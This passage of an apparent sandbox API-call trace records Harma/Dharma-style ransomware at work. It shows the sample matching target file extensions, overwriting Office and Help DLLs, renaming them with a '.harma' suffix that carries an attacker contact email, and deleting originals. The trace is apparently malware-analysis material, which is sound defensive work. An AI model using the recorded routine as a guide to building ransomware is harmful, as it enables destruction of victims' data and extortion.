lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0177.121] SetEndOfFile (hFile=0x1d4) returned 1 [0177.121] CloseHandle (hObject=0x1d4) returned 1 [0177.122] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.122] SetEndOfFile (hFile=0x1f4) returned 1 [0177.123] CloseHandle (hObject=0x1f4) returned 1 [0177.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0177.123] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0177.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.123] lstrlenW (lpString=".doc") returned 4 [0177.123] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0177.123] lstrlenW (lpString=".docx") returned 5 [0177.123] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0177.123] lstrlenW (lpString=".pdf") returned 4 [0177.123] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0177.124] lstrlenW (lpString=".xls") returned 4 [0177.124] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0177.124] lstrlenW (lpString=".xlsx") returned 5 [0177.124] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0177.124] lstrlenW (lpString=".ppt") returned 4 [0177.124] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0177.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.124] lstrlenW (lpString=".zip") returned 4 [0177.124] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0177.124] lstrlenW (lpString=".rar") returned 4 [0177.124] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0177.124] lstrlenW (lpString=".bz2") returned 4 [0177.124] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0177.124] lstrlenW (lpString=".7z") returned 3 [0177.124] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0177.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.124] lstrlenW (lpString=".dbf") returned 4 [0177.124] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0177.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.124] lstrlenW (lpString=".1cd") returned 4 [0177.124] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0177.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.124] lstrlenW (lpString=".jpg") returned 4 [0177.124] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0177.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.125] lstrlenW (lpString=".doc") returned 4 [0177.125] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0177.125] lstrlenW (lpString=".docx") returned 5 [0177.125] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0177.125] lstrlenW (lpString=".pdf") returned 4 [0177.125] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0177.125] lstrlenW (lpString=".xls") returned 4 [0177.125] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0177.125] lstrlenW (lpString=".xlsx") returned 5 [0177.125] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0177.125] lstrlenW (lpString=".ppt") returned 4 [0177.125] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0177.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.125] lstrlenW (lpString=".zip") returned 4 [0177.125] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0177.125] lstrlenW (lpString=".rar") returned 4 [0177.125] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0177.126] lstrlenW (lpString=".bz2") returned 4 [0177.126] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0177.126] lstrlenW (lpString=".7z") returned 3 [0177.126] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0177.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.126] lstrlenW (lpString=".dbf") returned 4 [0177.126] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0177.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.126] lstrlenW (lpString=".1cd") returned 4 [0177.126] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0177.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0177.126] lstrlenW (lpString=".jpg") returned 4 [0177.126] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0177.126] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0177.127] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0177.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0177.127] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=105344) returned 1 [0177.127] CloseHandle (hObject=0x1f4) returned 1 [0177.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0177.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0177.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0177.128] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.128] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0177.129] GetLastError () returned 0x0 [0177.129] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x19b80, lpOverlapped=0x0) returned 1 [0177.133] WriteFile (in: hFile=0x1d4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0177.136] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.136] WriteFile (in: hFile=0x1d4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.136] SetEndOfFile (hFile=0x1d4) returned 1 [0177.137] CloseHandle (hObject=0x1d4) returned 1 [0177.137] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.137] SetEndOfFile (hFile=0x1f4) returned 1 [0177.138] CloseHandle (hObject=0x1f4) returned 1 [0177.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0177.139] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0177.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.139] lstrlenW (lpString=".doc") returned 4 [0177.139] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.139] lstrlenW (lpString=".docx") returned 5 [0177.139] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0177.139] lstrlenW (lpString=".pdf") returned 4 [0177.139] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.139] lstrlenW (lpString=".xls") returned 4 [0177.139] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.139] lstrlenW (lpString=".xlsx") returned 5 [0177.139] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0177.139] lstrlenW (lpString=".ppt") returned 4 [0177.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.140] lstrlenW (lpString=".zip") returned 4 [0177.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.140] lstrlenW (lpString=".rar") returned 4 [0177.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.140] lstrlenW (lpString=".bz2") returned 4 [0177.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.140] lstrlenW (lpString=".7z") returned 3 [0177.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.140] lstrlenW (lpString=".dbf") returned 4 [0177.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.140] lstrlenW (lpString=".1cd") returned 4 [0177.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.140] lstrlenW (lpString=".jpg") returned 4 [0177.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.141] lstrlenW (lpString=".doc") returned 4 [0177.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.141] lstrlenW (lpString=".docx") returned 5 [0177.141] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0177.141] lstrlenW (lpString=".pdf") returned 4 [0177.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.141] lstrlenW (lpString=".xls") returned 4 [0177.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.141] lstrlenW (lpString=".xlsx") returned 5 [0177.141] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0177.141] lstrlenW (lpString=".ppt") returned 4 [0177.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.141] lstrlenW (lpString=".zip") returned 4 [0177.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.142] lstrlenW (lpString=".rar") returned 4 [0177.142] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.142] lstrlenW (lpString=".bz2") returned 4 [0177.142] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.142] lstrlenW (lpString=".7z") returned 3 [0177.142] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.142] lstrlenW (lpString=".dbf") returned 4 [0177.142] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.142] lstrlenW (lpString=".1cd") returned 4 [0177.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0177.142] lstrlenW (lpString=".jpg") returned 4 [0177.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.142] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0177.142] lstrlenW (lpString="ACECORE.DLL") returned 11 [0177.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0177.143] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=3213192) returned 1 [0177.143] CloseHandle (hObject=0x1f4) returned 1 [0177.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0177.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0177.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0177.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0177.145] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fc6c | out: lpNewFilePointer=0x0) returned 1 [0177.145] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fc2c | out: lpNewFilePointer=0x0) returned 1 [0177.146] ReadFile (hFile=0x1f4, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a1fc38, lpOverlapped=0x0) Thread: id = 89 os_tid = 0x79c [0174.706] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3504d48 [0174.706] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3514d50 [0174.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007f0 [0174.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x532458 [0174.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500808 [0174.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3fd0020 [0174.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500820 [0174.707] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500820, Size=0x20) returned 0x537a08 [0174.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500820 [0174.707] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500820, Size=0x20) returned 0x537a80 [0174.708] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.708] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.708] Wow64DisableWow64FsRedirection (in: OldValue=0x3b5ff58 | out: OldValue=0x3b5ff58*=0x0) returned 1 [0174.708] lstrlenW (lpString="kernel32.dll") returned 12 [0174.708] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.708] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.708] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.708] Sleep (dwMilliseconds=0x64) [0174.971] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0174.971] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0174.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0174.972] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x3b5ff1c | out: lpFileSize=0x3b5ff1c*=1831424) returned 1 [0174.972] CloseHandle (hObject=0x1f4) returned 1 [0174.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0174.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0175.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0175.630] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fc6c | out: lpNewFilePointer=0x0) returned 1 [0175.630] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fc2c | out: lpNewFilePointer=0x0) returned 1 [0175.630] ReadFile (in: hFile=0x1ec, lpBuffer=0x3fd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3fd0058*, lpNumberOfBytesRead=0x3b5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0175.635] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fc2c | out: lpNewFilePointer=0x0) returned 1 [0175.635] ReadFile (in: hFile=0x1ec, lpBuffer=0x4010058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b5fc38, lpOverlapped=0x0 | out: lpBuffer=0x4010058*, lpNumberOfBytesRead=0x3b5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0175.639] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3b5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0175.639] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fc2c | out: lpNewFilePointer=0x0) returned 1 [0175.639] ReadFile (in: hFile=0x1ec, lpBuffer=0x4050058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b5fc38, lpOverlapped=0x0 | out: lpBuffer=0x4050058*, lpNumberOfBytesRead=0x3b5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0175.656] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.656] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x3b5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x3b5fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0175.679] SetEndOfFile (hFile=0x1ec) returned 1 [0175.707] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x41767a0 [0175.710] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fc7c | out: lpNewFilePointer=0x0) returned 1 [0175.710] WriteFile (in: hFile=0x1ec, lpBuffer=0x41767a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b5fc88, lpOverlapped=0x0 | out: lpBuffer=0x41767a0*, lpNumberOfBytesWritten=0x3b5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0175.712] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fc7c | out: lpNewFilePointer=0x0) returned 1 [0175.712] WriteFile (in: hFile=0x1ec, lpBuffer=0x41767a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b5fc88, lpOverlapped=0x0 | out: lpBuffer=0x41767a0*, lpNumberOfBytesWritten=0x3b5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0175.714] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x3b5fc7c | out: lpNewFilePointer=0x0) returned 1 [0175.714] WriteFile (in: hFile=0x1ec, lpBuffer=0x41767a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b5fc88, lpOverlapped=0x0 | out: lpBuffer=0x41767a0*, lpNumberOfBytesWritten=0x3b5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0175.716] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x41767a0 | out: hHeap=0x4b0000) returned 1 [0175.716] CloseHandle (hObject=0x1ec) returned 1 [0175.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0175.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.739] lstrlenW (lpString=".doc") returned 4 [0175.739] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0175.739] lstrlenW (lpString=".docx") returned 5 [0175.739] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0175.739] lstrlenW (lpString=".pdf") returned 4 [0175.739] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0175.739] lstrlenW (lpString=".xls") returned 4 [0175.739] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0175.739] lstrlenW (lpString=".xlsx") returned 5 [0175.739] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0175.739] lstrlenW (lpString=".ppt") returned 4 [0175.739] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0175.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.739] lstrlenW (lpString=".zip") returned 4 [0175.739] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0175.739] lstrlenW (lpString=".rar") returned 4 [0175.739] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0175.739] lstrlenW (lpString=".bz2") returned 4 [0175.739] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0175.739] lstrlenW (lpString=".7z") returned 3 [0175.739] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0175.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.739] lstrlenW (lpString=".dbf") returned 4 [0175.739] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0175.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0175.739] lstrlenW (lpString=".1cd") returned 4 [0175.740] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0175.740] lstrlenW 